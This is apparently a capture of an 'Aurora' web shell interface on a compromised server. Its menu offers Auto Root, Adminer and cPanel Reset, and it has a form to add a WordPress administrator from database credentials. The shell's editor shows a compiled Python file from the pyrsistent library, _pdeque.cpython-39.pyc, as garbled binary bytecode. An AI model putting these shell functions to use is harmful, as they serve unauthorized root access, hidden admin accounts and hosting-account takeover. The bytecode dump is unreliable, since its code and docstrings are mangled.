Aurora
Adminer
Auto Root
WP Admin
cPanel Reset
Anti Backdoor
Root
usr
lib64
python3.9
site-packages
pyrsistent
__pycache__
Upload
New Folder
New File
Name
Size
Permissions
Actions
..
-
-
-
Upload File
Select File
New Folder
Folder Name
New File
File Name
Add WordPress Admin
Database Host
Database Name
Database User
Database Password
Admin Username
Admin Password
cPanel Password Reset
Email Address
Edit: _pdeque.cpython-39.pyc
a `�]_�/ � @ sr d dl mZmZ d dlmZmZ d dlmZ d dlm Z G dd� de �Z e� e � e� e � d d d �Z d d � ZdS )� )�Sequence�Hashable)�islice�chain)�Integral)�plistc s( e Zd ZdZdZd=� fdd� Zedd� �Zedd � �Ze d d � �Z d d � Z dd� Z e Z edd� �Zd>dd�Zd?dd�Ze dd� �Zdd� Zdd � Zd d � Zd d � Zd!d"� Zd#d$� Zd%d&� Zd'd(� Ze d)d*� �Zd+d,� Zd-d.� Z d/d0� Z d1d2� Z d3d4� Z d5d6� Z e Z!d7d8� Z"d9d:� Z#d;d<� Z$e%j&Z&� Z'S )@�PDequea� Persistent double ended queue (deque). Allows quick appends and pops in both ends. Implemented using two persistent lists. A maximum length can be specified to create a bounded queue. Fully supports the Sequence and Hashable protocols including indexing and slicing but if you need fast random access go for the PVector instead. Do not instantiate directly, instead use the factory functions :py:func:`dq` or :py:func:`pdeque` to create an instance. Some examples: >>> x = pdeque([1, 2, 3]) >>> x.left 1 >>> x.right 3 >>> x[0] == x.left True >>> x[-1] == x.right True >>> x.pop() pdeque([1, 2]) >>> x.pop() == x[:-1] True >>> x.popleft() pdeque([2, 3]) >>> x.append(4) pdeque([1, 2, 3, 4]) >>> x.appendleft(4) pdeque([4, 1, 2, 3]) >>> y = pdeque([1, 2, 3], maxlen=3) >>> y.append(4) pdeque([2, 3, 4], maxlen=3) >>> y.appendleft(4) pdeque([4, 1, 2], maxlen=3) )� _left_list� _right_list�_length�_maxlen� __weakref__Nc sV t t| ��| �}||_||_||_|d urLt|t�s<td��|dk rLt d��||_ |S )Nz An integer is required as maxlenr zmaxlen must be non-negative) �superr �__new__r r r � isinstancer � TypeError� ValueErrorr )�cls� left_list� right_list�length�maxlen�instance�� __class__� �8/usr/lib64/python3.9/site-packages/pyrsistent/_pdeque.pyr 2 s zPDeque.__new__c C s t �| j| j�S )z. Rightmost element in dqueue. )r �_tip_from_listsr r ��selfr r r �rightB s z PDeque.rightc C s t �| j| j�S )z- Leftmost element in dqueue. )r r r r r r r r �leftI s z PDeque.leftc C s" | r | j S |r|d S td��d S )N���zNo elements in empty deque)�first� IndexError)� primary_list�secondary_listr r r r P s zPDeque._tip_from_listsc C s t | j| j�� �S �N)r r r �reverser r r r �__iter__Z s zPDeque.__iter__c C s& d� t| �| jd ur d� | j�nd�S )Nzpdeque({0}{1})z , maxlen={0}� )�format�listr r r r r �__repr__] s �zPDeque.__repr__c C s | j S )z. Maximum length of the queue. )r r r r r r b s z PDeque.maxlen� c C sF |dk r| � | �S t�| j| j|�\}}t||t| j| d�| j�S )a� Return new deque with rightmost element removed. Popping the empty queue will return the empty queue. A optional count can be given to indicate the number of elements to pop. Popping with a negative index is the same as popleft. Executes in amortized O(k) where k is the number of elements to pop. >>> pdeque([1, 2]).pop() pdeque([1]) >>> pdeque([1, 2]).pop(2) pdeque([]) >>> pdeque([1, 2]).pop(-1) pdeque([2]) r )�popleftr � _pop_listsr r �maxr r )r �count�new_right_list� new_left_listr r r �popi s z PDeque.popc C sF |dk r| � | �S t�| j| j|�\}}t||t| j| d�| j�S )z� Return new deque with leftmost element removed. Otherwise functionally equivalent to pop(). >>> pdeque([1, 2]).popleft() pdeque([2]) r )r5 r r0 r r r1 r r )r r2 r4 r3 r r r r/ } s zPDeque.popleftc C s\ | }|}|dkrT|s|rT|d8 }|j r.|j }q|rB|�� }t� }q|�� j }t� }q||fS �Nr r. )�restr( r )r% r& r2 �new_primary_list�new_secondary_listr r r r0 � s zPDeque._pop_listsc C s | j o| j S r' )r r r r r r � _is_empty� s zPDeque._is_emptyc C s t |t�stS t| �t|�k S r' )r r �NotImplemented�tuple�r �otherr r r �__lt__� s z PDeque.__lt__c C s: t |t�stS t| �t|�kr6t| �t|�ks2J �dS dS )NTF)r r r; r< �lenr= r r r �__eq__� s z PDeque.__eq__c C s t t| ��S r' )�hashr< r r r r �__hash__� s zPDeque.__hash__c C s | j S r' )r r r r r �__len__� s zPDeque.__len__c C s( | � | j| j|�\}}}t|||| j�S )z� Return new deque with elem as the rightmost element. >>> pdeque([1, 2]).append(3) pdeque([1, 2, 3]) )�_appendr r r r )r �elemr4 r3 � new_lengthr r r �append� s z PDeque.appendc C s( | � | j| j|�\}}}t|||| j�S )z� Return new deque with elem as the leftmost element. >>> pdeque([1, 2]).appendleft(3) pdeque([3, 1, 2]) )rE r r r r )r rF r3 r4 rG r r r � appendleft� s zPDeque.appendleftc C sd | j d urN| j| j krN| j dkr*||dfS t�||d�\}}||�|�| jfS ||�|�| jd fS r6 )r r r r0 �cons)r r% r& rF r8 r9 r r r rE � s zPDeque._appendc C s( d}|D ]}| � |�} |d7 }q| |fS r6 )rJ )Zthe_list�iterabler2 rF r r r � _extend_list� s zPDeque._extend_listc C s` t �||�\}}|}| j| }| jd urV|| jkrV|| j }t �|||�\}}||8 }|||fS r' )r rL r r r0 ) r r% r& rK r8 � extend_countr9 Z current_lenZpop_lenr r r �_extend� s zPDeque._extendc C s. | � | j| j|�\}}}t||| j| | j�S )z� Return new deque with all elements of iterable appended to the right. >>> pdeque([1, 2]).extend([3, 4]) pdeque([1, 2, 3, 4]) )rN r r r r r )r rK r3 r4 rM r r r �extend� s z PDeque.extendc C s. | � | j| j|�\}}}t||| j| | j�S )a Return new deque with all elements of iterable appended to the left. NB! The elements will be inserted in reverse order compared to the order in the iterable. >>> pdeque([1, 2]).extendleft([3, 4]) pdeque([4, 3, 1, 2]) )rN r r r r r )r rK r4 r3 rM r r r � extendleft� s zPDeque.extendleftc C s | j �|�| j�|� S )z� Return the number of elements equal to elem present in the queue >>> pdeque([1, 2, 1]).count(1) 2 )r r2 r )r rF r r r r2 � s z PDeque.countc C s� z t | j�|�| j| jd �W S ty� z*t | j| j�� �|��� | jd �W Y S ty� } z td�|��|�W Y d}~n d}~0 0 Y n0 dS )z� Return new deque with first element from left equal to elem removed. If no such element is found a ValueError is raised. >>> pdeque([2, 1, 2]).remove(2) pdeque([1, 2]) r. z{0} not found in PDequeN)r r �remover r r r( r+ )r rF �er r r rQ s � z PDeque.removec C s t | j| j| j�S )z� Return reversed deque. >>> pdeque([1, 2, 3]).reverse() pdeque([3, 2, 1]) Also supports the standard python reverse function. >>> reversed(pdeque([1, 2, 3])) pdeque([3, 2, 1]) )r r r r r r r r r( s zPDeque.reversec C s8 | � |�}|dkr&|�t| �� |��S |�t| | ��S )z� Return deque with elements rotated steps steps. >>> x = pdeque([1, 2, 3]) >>> x.rotate(1) pdeque([3, 1, 2]) >>> x.rotate(-2) pdeque([3, 1, 2]) r )r5 rP r r( rO )r ZstepsZ popped_dequer r r �rotate) s z PDeque.rotatec C s t t| �| jffS r' )�pdequer, r r r r r � __reduce__9 s zPDeque.__reduce__c C s� t |t�rz|jd ur4|jdkr4tt| �| | jd�S | }|jd urT|�|j| j �}|j d urv|� | j|j | j �}|S t |t �s�t dt |�j ��|dkr�| �|�jS t| �| }|dk r�td�|t| ����| �|�jS )Nr. )r z-'%s' object cannot be interpreted as an indexr z!pdeque index {0} out of range {1})r �slice�steprT r< r �startr/ r �stopr5 r r �type�__name__r! r@ r$ r+ )r �index�resultZshiftedr r r � __getitem__= s& �zPDeque.__getitem__)N)r. )r. )(r[ � __module__� __qualname__�__doc__� __slots__r �propertyr r! � staticmethodr r) r- �__str__r r5 r/ r0 r: r? rA rC rD rH rI rE rL rN rO rP r2 rQ r( � __reversed__rS rU r^ r r\ � __classcell__r r r r r sN ( r r Nc C sd t | �}|dur || d� }t|�}t|d �}t|d|� �}t||d� dd�}t||||�S )a* Return deque containing the elements of iterable. If maxlen is specified then len(iterable) - maxlen elements are discarded from the left to if len(iterable) > maxlen. >>> pdeque([1, 2, 3]) pdeque([1, 2, 3]) >>> pdeque([1, 2, 3, 4], maxlen=2) pdeque([3, 4], maxlen=2) N� T)r( )r< r@ �intr r )rK r �tr Zpivotr! r r r r rT ^ s rT c G s t | �S )z[ Return deque containing all arguments. >>> dq(1, 2, 3) pdeque([1, 2, 3]) )rT )�elementsr r r �dqq s rl )r N)�collections.abcr r � itertoolsr r Znumbersr Zpyrsistent._plistr �objectr �registerrT rl r r r r �<module> s U